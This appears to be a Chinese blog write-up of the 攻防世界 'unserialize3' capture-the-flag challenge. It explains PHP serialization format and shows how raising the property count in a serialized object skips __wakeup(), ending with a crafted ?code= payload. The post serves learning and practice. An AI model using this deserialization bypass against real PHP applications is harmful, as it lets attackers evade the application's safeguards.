攻防世界unserialize3学习

【考察点】
①绕过_wakeup()过滤机制
②序列化与反序列化的原理与格式
③利用类代码序列化的方法
④两个函数

serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

【知识点】
①序列化后格式为
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”
②反序列化与_wakeup函数的关系
执行unserialize()时,先会调用__wakeup()
且当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()

如正常O:4:"xctf":1:{s:4:"flag";s:3:"111";}#(即只有一个1这个属性值)
异常O:4:"xctf":2:{s:4:"flag";s:3:"111";}#即可绕过_wakeup的代码
#知识点
#O呢就是object对象的意思
#数字7代表着对象的函数名有7个占位
#然后就是对象名了
#这个数字1表示对象里有一个变量
#大括号里的s代表的是string类型还有一个i是int型

题目分析
进入后发觉是
在这里插入图片描述
即定义了flag=‘111’;
且涉及到_wakeup(),即思考与序列化和反序列化相关的题目
因为要绕过_wakeup()
因此需要将其序列化后,改类型值,从而实现绕过_wakeup()的目的
因此补全代码

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}}
$x=new xctf();
echo serialize($x);
?>

然后得到
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
然后更改类型值为2
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
构造payload
/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
成功绕过

又如

<?php
$x='';
print (serialize("$x"));
?>
#s:0:"";
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值